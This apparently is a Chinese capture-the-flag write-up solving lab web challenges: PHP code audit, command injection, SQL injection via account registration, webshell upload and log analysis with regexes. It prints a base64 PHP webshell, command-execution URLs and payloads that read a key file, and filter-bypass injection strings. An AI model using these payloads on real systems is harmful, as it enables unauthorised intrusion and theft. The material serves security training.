接下来就是代码审计了
isset()函数用于检测变量是否已设置并且非 NULL
代码中base64解码出来是一个base64的一句话木马
[@eval(base64_decode($_POST[z0]));]
根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令
先用phpinfo(); 试一下:
发现执行成功
那么直接写个查看key文件的系统命令(记得最后要加分号)
system(‘cat …/key.php’);
在源代码中找到key
代码审计
既然是代码审计,那就直接看代码
如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令
但要注意,exec只会执行命令,不会返回结果
对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html
直接发现key
命令执行
127.0.0.1|ls 失败
127.0.0.1| 失败
看来是直接把管道符给过滤了
我们尝试使用 &&
127.0.0.1 && ls 失败
难道&&也过滤了?
127.0.0.1 && 没有显示失败
说明 && 没有被过滤,是ls被过滤了
127.0.0.1 && pwd 成功
最后发现是过滤了php ,太坑了
使用星号进行匹配,成功得到key
127.0.0.1 && sed ’ ’ …/key.ph*
第四套题目
34021-34025 34214
SQL注入
和第三套题差不多,只不过将admin’# 给注册了,我们在#后面随便加点字符串就行了
注册一个admin’#123 登录后修改的密码就是admin的密码
文件上传
和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接
文件包含
和上套题一样的
直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
日志分析
日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选
(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)
^.*“[A-Z]+ /.*.php.*” 200
匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉
?!index 表示不匹配index
^.*“[A-Z]+ /(?!(index|manage|footer|upload)).*.php.*” 200
匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉
/? 表示/可能有可能没有
^.*“[A-Z]+ /(?!/?(index|manage|footer|upload)).*.php.*” 200
正则筛选后就只剩下四条了
<